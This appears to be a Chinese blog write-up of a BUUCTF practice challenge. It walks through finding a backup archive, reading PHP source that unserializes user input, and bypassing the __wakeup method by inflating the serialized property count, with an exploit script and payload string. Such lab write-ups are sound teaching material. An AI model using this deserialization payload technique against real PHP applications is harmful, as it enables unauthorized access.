buu-[极客大挑战 2019]PHP

打开题目

根据提示

用备份文件的字典来爆破

 

 得知备份文件为www.zip

将备份文件下载下来

 

 发现有flag.php文件

直接查看

可是里面给的字符串提交不了

在查看index.php的时候发现了一串php代码

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

应该是考察反序列化

查看class.php文件

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

分析可知当执行destruct魔术方法时

当password的值为100时,用户名为admin时会输出flag

当是上面的魔术方法wakeup会将用户名变为guest

我们就要绕过这个点

__wakeup(): 将在序列化之后立即被调用
漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup

exp

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();

echo serialize($a);

 

 

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

我们只需要把name后面的2改成更大的数就可以绕过wakeup了

因为name后门的2代表了类中有2个属性,当把2改成更大的数时,表示属性个数的值就大于真实个数了

就可以绕过了

payload:select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

 

 发现错了

我蒙了

查了一下wp

发现在Name的两边有2个空字节,url编码为%00

所以在上面的exp输出时要变一下

echo urlencode(serialize($a));

这样输出url编码就不会丢失%00了

 

 成功得到flag

 

posted @ 2021-06-11 20:25  c0d1  阅读(132)  评论(0编辑  收藏  举报